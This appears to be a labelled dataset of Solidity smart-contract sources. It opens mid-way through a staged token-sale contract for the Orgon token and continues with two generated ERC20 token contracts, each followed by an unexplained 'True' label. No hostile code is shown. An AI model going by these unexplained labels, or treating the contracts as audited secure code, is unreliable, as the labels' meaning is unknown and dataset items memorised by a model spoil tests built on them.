tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_3) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_3, reserveAmount)) / RESERVE_PRICE_3; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_3); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_4) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_4, reserveAmount)) / RESERVE_PRICE_4; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_4); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_5) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_5, reserveAmount)) / RESERVE_PRICE_5; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_5); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_6) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_6, reserveAmount)) / RESERVE_PRICE_6; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_6); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_7) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_7, reserveAmount)) / RESERVE_PRICE_7; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_7); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (reserveAmount < RESERVE_THRESHOLD_8) { tokens = min ( toRefund, safeSub (RESERVE_THRESHOLD_8, reserveAmount)) / RESERVE_PRICE_8; if (tokens > 0) { tokensValue = safeMul (tokens, RESERVE_PRICE_8); toBuy = safeAdd (toBuy, tokens); toRefund = safeSub (toRefund, tokensValue); etherInvested = safeAdd (etherInvested, tokensValue); reserveAmount = safeAdd (reserveAmount, tokensValue); } } if (toBuy > 0) { Investor storage investor = investors [msg.sender]; investor.tokensBought = safeAdd ( investor.tokensBought, toBuy); investor.etherInvested = safeAdd ( investor.etherInvested, etherInvested); reserveTokensSold = safeAdd (reserveTokensSold, toBuy); require (orgonToken.createTokens (toBuy)); voteNumbers [msg.sender] = safeAdd (voteNumbers [msg.sender], toBuy); totalVotesNumber = safeAdd (totalVotesNumber, toBuy); Investment (msg.sender, etherInvested, toBuy); if (safeSub (RESERVE_THRESHOLD_8, reserveAmount) < RESERVE_PRICE_8) { orisSpace.start (0); stage = Stage.BEFORE_GROWTH; } } if (toRefund > 0) msg.sender.transfer (toRefund); } /** * Buy tokens during "growth" or "life" stage. */ function buyTokensGrowthLife () internal { require (stage == Stage.GROWTH || stage == Stage.LIFE); require (msg.value < TWO_128); uint256 totalSupply = orgonToken.totalSupply (); assert (totalSupply < TWO_128); uint256 toBuy = safeMul ( totalSupply, safeSub ( root_10 (safeAdd (TWO_128, (msg.value << 128) / reserveAmount)), TWO_128)) >> 128; reserveAmount = safeAdd (reserveAmount, msg.value); require (reserveAmount < TWO_128); if (toBuy > 0) { require (orgonToken.createTokens (toBuy)); require (orgonToken.totalSupply () < TWO_128); uint256 feeAmount = safeMul (toBuy, fee) / FEE_DENOMINATOR; require (orgonToken.transfer (msg.sender, safeSub (toBuy, feeAmount))); if (feeAmount > 0) require (orgonToken.transfer (k1, feeAmount)); if (stage == Stage.GROWTH) { uint256 votesCount = toBuy; totalSupply = orgonToken.totalSupply (); if (totalSupply >= GROWTH_MAX_TOKENS) { stage = Stage.LIFE; votesCount = safeSub ( votesCount, safeSub (totalSupply, GROWTH_MAX_TOKENS)); } voteNumbers [msg.sender] = safeAdd (voteNumbers [msg.sender], votesCount); totalVotesNumber = safeAdd (totalVotesNumber, votesCount); } } } /** * Update stage of Just Price Protocol and return updated stage. * * @return updated stage of Just Price Protocol */ function updateStage () internal returns (Stage) { Stage currentStage = getStage (currentTime ()); if (stage != currentStage) { if (currentStage == Stage.BEFORE_GROWTH) { // "Reserve" stage deadline reached and minimum amount collected uint256 tokensToBurn = safeSub ( safeAdd ( safeAdd ( safeSub (RESERVE_MAX_AMOUNT, reserveAmount), safeSub (RESERVE_RATIO, 1)) / RESERVE_RATIO, reserveTokensSold), RESERVE_MAX_TOKENS); orisSpace.start (tokensToBurn); if (tokensToBurn > 0) require (orgonToken.burnTokens (tokensToBurn)); } stage = currentStage; } } /** * Get minimum of two values. * * @param x first value * @param y second value * @return minimum of two values */ function min (uint256 x, uint256 y) internal pure returns (uint256) { return x < y ? x : y; } /** * Calculate 2^128 * (x / 2^128)^(1/10). * * @param x parameter x * @return 2^128 * (x / 2^128)^(1/10) */ function root_10 (uint256 x) internal pure returns (uint256 y) { uint256 shift = 0; while (x > TWO_128) { x >>= 10; shift += 1; } if (x == TWO_128 || x == 0) y = x; else { uint256 x128 = x << 128; y = TWO_128; uint256 t = x; while (true) { t <<= 10; if (t < TWO_128) y >>= 1; else break; } for (uint256 i = 0; i < 16; i++) { uint256 y9; if (y == TWO_128) y9 = y; else { uint256 y2 = (y * y) >> 128; uint256 y4 = (y2 * y2) >> 128; uint256 y8 = (y4 * y4) >> 128; y9 = (y * y8) >> 128; } y = (9 * y + x128 / y9) / 10; assert (y <= TWO_128); } } y <<= shift; } /** * Calculate 2^128 * (x / 2^128)^10. * * @param x parameter x * @return 2^128 * (x / 2^128)^10 */ function pow_10 (uint256 x) internal pure returns (uint256) { require (x <= TWO_128); if (x == TWO_128) return x; else { uint256 x2 = (x * x) >> 128; uint256 x4 = (x2 * x2) >> 128; uint256 x8 = (x4 * x4) >> 128; return (x2 * x8) >> 128; } } /** * Get current time in seconds since epoch. * * @return current time in seconds since epoch */ function currentTime () internal view returns (uint256) { return block.timestamp; } /** * Just Price Protocol stages. * +----------------+ * | BEFORE_RESERVE | * +----------------+ * | * | Sale start time reached * V * +---------+ Reserve deadline reached * | RESERVE |-------------------------------+ * +---------+ | * | | * | 72500 ETH collected | * V | * +---------------+ 39013,174672 ETH collected | * | BEFORE_GROWTH |<---------------------------O * +---------------+ | * | | 39013,174672 ETH not collected * | 80% of tokens delivered | * V V * +------------+ +--------+ * | GROWTH | | REFUND | * +------------+ +--------+ * | * | 1,500,000,000 tokens issued or 365 days passed since start of "GROWTH" stage * V * +------+ * | LIFE | * +------+ */ enum Stage { BEFORE_RESERVE, // Before start of "Reserve" stage RESERVE, // "Reserve" stage BEFORE_GROWTH, // Between "Reserve" and "Growth" stages GROWTH, // "Grows" stage LIFE, // "Life" stage REFUND // "Refund" stage } /** * Orgon Token smart contract. */ OrgonToken internal orgonToken; /** * Oris Space spart contract. */ OrisSpace internal orisSpace; /** * Address of K1 smart contract. */ address internal k1; /** * Last known stage of Just Price Protocol */ Stage internal stage = Stage.BEFORE_RESERVE; /** * Amount of ether in reserve. */ uint256 internal reserveAmount; /** * Number of tokens sold during "reserve" stage. */ uint256 internal reserveTokensSold; /** * Number of tokens sold during "reserve" stage that were already delivered to * investors. */ uint256 internal reserveTokensDelivered; /** * "Growth" stage deadline. */ uint256 internal growthDeadline; /** * Mapping from address of a person who bought some tokens during "reserve" * stage to information about how many tokens he bought to how much ether * invested. */ mapping (address => Investor) internal investors; /** * Mapping from address of an investor to the number of votes this investor * has. */ mapping (address => uint256) internal voteNumbers; /** * Mapping from address of an investor to the new K1 address this investor * voted for. */ mapping (address => address) internal votes; /** * Mapping from suggested new K1 address to the number of votes for this * address. */ mapping (address => uint256) internal voteResults; /** * Total number of eligible votes. */ uint256 internal totalVotesNumber; /** * Whether K1 address was already changed via voting. */ bool internal k1Changed = false; /** * Fee enumerator. (2 / 20000 = 0.0001); */ uint256 internal fee = 2; /** * Time when fee changing is enabled. */ uint256 internal feeChangeEnableTime; /** * Encapsulates information about a person who bought some tokens during * "reserve" stage. */ struct Investor { /** * Number of tokens bought during reserve stage. */ uint256 tokensBought; /** * Ether invested during reserve stage. */ uint256 etherInvested; } /** * Logged when investor invested some ether during "reserve" stage. * * @param investor address of investor * @param value amount of ether invested * @param amount number of tokens issued for investor */ event Investment (address indexed investor, uint256 value, uint256 amount); /** * Logged when tokens bought at "reserve" stage were delivered to investor. * * @param investor address of investor whom tokens were delivered to * @param amount number of tokens delivered */ event Delivery (address indexed investor, uint256 amount); /** * Logged when investment was refunded. * * @param investor address of investor whose investment was refunded * @param value amount of ether refunded */ event Refund (address indexed investor, uint256 value); /** * Logged when K1 address was changed. * * @param k1 new K1 address */ event K1Change (address k1); /** * Logged when investor voted for new K1 address. * * @param investor investor who voted for new K1 address * @param newK1 new K1 address investor voted for * @param votes number of votes investor has */ event Vote (address indexed investor, address indexed newK1, uint256 votes); /** * Logged when investor revoked vote for new K1 address. * * @param investor investor who revoked vote for new K1 address * @param newK1 new K1 address investor revoked vote for * @param votes number of votes investor has */ event VoteRevocation ( address indexed investor, address indexed newK1, uint256 votes); /** * Logged when fee was changed. * * @param fee new fee numerator */ event FeeChange (uint256 fee); }

True

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/** *Submitted for verification at Etherscan.io on 2019-07-08 */ pragma solidity ^0.5.0; /** * @notes All the credits go to the fantastic OpenZeppelin project and its community, see https://github.com/OpenZeppelin/openzeppelin-solidity * This contract was generated and deployed using https://tokens.kawatta.com */ /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error. */ library SafeMath { /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://eips.ethereum.org/EIPS/eip-20 * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev Total number of tokens in existence. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev Transfer token to a specified address. * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowances[from][msg.sender].sub(value)); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when _allowances[msg.sender][spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Transfer token for a specified addresses. * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "ERC20: transfer to the zero address"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Approve an address to spend another addresses' tokens. * @param owner The address that owns the tokens. * @param spender The address that will spend the tokens. * @param value The number of tokens that can be spent. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowances[account][msg.sender].sub(value)); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance. * @param from address The account whose tokens will be burned. * @param value uint256 The amount of token to be burned. */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. * @notice Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * @title ERC20 token contract of Novoye Protsvetaniye */ contract ERC20Token is ERC20, ERC20Detailed, Ownable, ERC20Burnable { uint8 public constant DECIMALS = 8; uint256 public constant INITIAL_SUPPLY = 10000000000000 * (10 ** uint256(DECIMALS)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public ERC20Detailed("Novoye Protsvetaniye", "NPVY", DECIMALS) { _mint(msg.sender, INITIAL_SUPPLY); } }

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/** *Submitted for verification at Etherscan.io on 2021-05-17 */ // SPDX-License-Identifier: MIT /* * Token has been generated for FREE using https://vittominacori.github.io/erc20-generator/ * * NOTE: "Contract Source Code Verified (Similar Match)" means that this Token is similar to other tokens deployed * using the same generator. It is not an issue. It means that you won't need to verify your source code because of * it is already verified. * * DISCLAIMER: GENERATOR'S AUTHOR IS FREE OF ANY LIABILITY REGARDING THE TOKEN AND THE USE THAT IS MADE OF IT. * The following code is provided under MIT License. Anyone can use it as per their needs. * The generator's purpose is to make people able to tokenize their ideas without coding or paying for it. * Source code is well tested and continuously updated to reduce risk of bugs and to introduce language optimizations. * Anyway the purchase of tokens involves a high degree of risk. Before acquiring tokens, it is recommended to * carefully weighs all the information and risks detailed in Token owner's Conditions. */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor (address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/utils/GeneratorCopyright.sol pragma solidity ^0.8.0; /** * @title GeneratorCopyright * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the GeneratorCopyright */ contract GeneratorCopyright { string private constant _GENERATOR = "https://vittominacori.github.io/erc20-generator"; string private _version; constructor (string memory version_) { _version = version_; } /** * @dev Returns the token generator tool. */ function generator() public pure returns (string memory) { return _GENERATOR; } /** * @dev Returns the token generator version. */ function version() public view returns (string memory) { return _version; } } // File: contracts/token/ERC20/SimpleERC20.sol pragma solidity ^0.8.0; /** * @title SimpleERC20 * @author ERC20 Generator (https://vittominacori.github.io/erc20-generator) * @dev Implementation of the SimpleERC20 */ contract SimpleERC20 is ERC20, ServicePayer, GeneratorCopyright("v5.0.1") { constructor ( string memory name_, string memory symbol_, uint256 initialBalance_, address payable feeReceiver_ ) ERC20(name_, symbol_) ServicePayer(feeReceiver_, "SimpleERC20") payable { require(initialBalance_ > 0, "SimpleERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } }

True

